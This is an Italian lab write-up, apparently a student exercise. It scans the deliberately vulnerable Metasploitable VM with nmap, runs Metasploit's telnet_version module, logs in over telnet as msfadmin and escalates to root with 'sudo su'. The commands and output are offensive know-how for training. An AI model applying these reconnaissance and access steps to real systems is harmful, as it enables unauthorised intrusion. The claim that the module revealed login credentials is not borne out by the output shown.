

## TASK:

Sfruttare la vulnerabilità Telnet con il modulo auxiliary telnet\_version sulla macchina Metasploitable. Configurare l'IP di Kali con 192.168.1.245 e l'IP di Metasploitable con 192.168.1.40

Per prima cosa tramite il comando `sudo nano /etc/network/interfaces` sono andato a modificare gli indirizzi IP prima su kali e poi su Metasploitable. Dopo averli cambiati seguendo le indicazioni della traccia ho fatto ripartire i servizi di network per rendere effettivi i cambiamenti:

```
GNU nano 7.0
# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

source /etc/network/interfaces.d/*

# The loopback network interface
auto lo
iface lo inet loopback

# The primary network interface
auto eth0
iface eth0 inet static
#iface eth0 inet dhcp

# dhcp
# static
address 192.168.1.25/24
gateway 192.168.1.1
```

```
GNU nano 2.0.7 File: /etc/network/interfaces
# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

# The loopback network interface
auto lo
iface lo inet loopback

# The primary network interface
auto eth0
#iface eth0 inet dhcp
iface eth0 inet static
address 192.168.1.40
netmask 255.255.255.0
network 192.168.1.0
broadcast 192.168.1.255
gateway 192.168.1.1
```

```
(kali@kali)-[~]
$ sudo /etc/init.d/networking restart
Restarting networking (via systemctl): networking.service.
```

```
msfadmin@metasploitable:~$ sudo /etc/init.d/networking restart
* Reconfiguring network interfaces...
msfadmin@metasploitable:~$
```

Prima di procedere ad utilizzare Metasploit ho lanciato nmap per vedere le porte attive e i relativi servizi collegati ad esse e nel riquadro rosso possiamo vedere il servizio tramite il quale attaccare la macchina:

```
(kali@kali)-[~]
$ nmap -p- 192.168.1.40
Starting Nmap 7.93 ( https://nmap.org ) at 2022-12-06 08:26 EST
Nmap scan report for 192.168.1.40
Host is up (0.00031s latency).
Not shown: 65505 closed tcp ports (conn-refused)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
1099/tcp  open  rmiregistry
1524/tcp  open  ingreslock
2049/tcp  open  nfs
2121/tcp  open  ccrprox-ftp
```

A questo punto ho avviato sulla macchina Kali ho lanciato il comando msfconsole e sono andato a cercare il modulo per il servizio auxiliary telnet\_version:

```
msf6 > search telnet auxiliary version

Matching Modules
=====
```

#	Name	Disclosure Date	Rank	Check	Description
0	auxiliary/admin/http/dlink_dir_300_600_exec_noauth	2013-02-04	normal	No	D-Link DIR-600 / DIR-300 Unauthenticated Remote Command Execution
1	auxiliary/scanner/telnet/lantronix_telnet_password		normal	No	Lantronix Telnet Password Recovery
2	auxiliary/scanner/telnet/lantronix_telnet_version		normal	No	Lantronix Telnet Service Banner Detection
3	auxiliary/admin/http/netgear_pnpx_getsharefolderlist_auth_bypass	2021-09-06	normal	Yes	Netgear PNXX_GetShareFolderList Authentication Bypass
4	auxiliary/admin/http/netgear_r6700_pass_reset	2020-06-15	normal	Yes	Netgear R6700v3 Unauthenticated LAN Admin Password Reset
5	auxiliary/admin/http/netgear_r7000_backup_cgi_heap_overflow_rce	2021-04-21	normal	Yes	Netgear R7000 backup.cgi Heap Overflow RCE
6	auxiliary/scanner/telnet/telnet_version		normal	No	Telnet Service Banner Detection

```
Interact with a module by name or index. For example info 6, use 6 or use auxiliary/scanner/telnet/telnet_version
```

Il modulo che ci interessa è il 6 quindi sono andato a selezionare quello:

```
msf6 > use 6
msf6 auxiliary(scanner/telnet/telnet_version) > info
```

Sono prima andato a vedere le informazioni del modulo lanciando il comando info:

```
msf6 auxiliary(scanner/telnet/telnet_version) > info

Name: Telnet Service Banner Detection
Module: auxiliary/scanner/telnet/telnet_version
License: Metasploit Framework License (BSD)
Rank: Normal

Provided by:
hdm <x@hdm.io>

Check supported:
No

Basic options:
```

Name	Current Setting	Required	Description
PASSWORD		no	The password for the specified username
RHOSTS		yes	The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT	23	yes	The target port (TCP)
THREADS	1	yes	The number of concurrent threads (max one per host)
TIMEOUT	30	yes	Timeout for the Telnet probe
USERNAME		no	The username to authenticate as

```
Description:
Detect telnet services

View the full module info with the info -d command.
```

A questo punto sono andato a inserire RHOSTS che sarebbe l'IP della macchina attaccata, nel nostro caso Metsploitable:

```
msf6 auxiliary(scanner/telnet/telnet_version) > set RHOSTS 192.168.1.40
RHOSTS => 192.168.1.40
msf6 auxiliary(scanner/telnet/telnet_version) > 
```

Sono andato a controllare se dovessi inserire altre info per effettuare l'exploit e se dovessi inserire il payload ma non si è rilevato necessario:

```
msf6 auxiliary(scanner/telnet/telnet_version) > show options

Module options (auxiliary/scanner/telnet/telnet_version):
```

Name	Current Setting	Required	Description
PASSWORD		no	The password for the specified username
RHOSTS	192.168.1.40	yes	The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT	23	yes	The target port (TCP)
THREADS	1	yes	The number of concurrent threads (max one per host)
TIMEOUT	30	yes	Timeout for the Telnet probe
USERNAME		no	The username to authenticate as

```
View the full module info with the info, or info -d command.
```

Ho quindi lanciato l'exploit:

```
msf6 auxiliary(scanner/telnet/telnet_version) > run
[*] 192.168.1.40:23 - 192.168.1.40:23 TELNET
[*] 192.168.1.40:23 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

Da esso sono riuscito ad ottenere le informazioni per fare il login. A questo punto, per ottenere i privilegi di root sono andato sulla macchina attaccante e ho eseguito il comando telnet inserendo l'IP della macchina che ho attaccato:

```
[kali@kali] (~)
$ telnet 192.168.1.40
Trying 192.168.1.40...
Connected to 192.168.1.40.
Escape character is '^['.
ls
quit
metasploitable login: Password:

Login incorrect
metasploitable login: msfadmin
Password:
Last login: Tue Dec  6 08:07:22 EST 2022 on tty1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$ id
uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugindev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin)
msfadmin@metasploitable:~$ sudo su
[sudo] password for msfadmin:
root@metasploitable:/home/msfadmin# id
uid=0(root) gid=0(root) groups=0(root)
root@metasploitable:/home/msfadmin#
```

Una volta entrati tramite le credenziali recuperate precedentemente sono andato a fare un comando id per vedere chi fossi (sottolineato in verde). Per ottenere i privilegi di root ho quindi eseguito il comando sudo su (prima sottolineatura in rosso) e ho lanciato nuovamente il comando id per avere conferma di avere ottenuto i privilegi di root (seconda sottolineatura in rosso).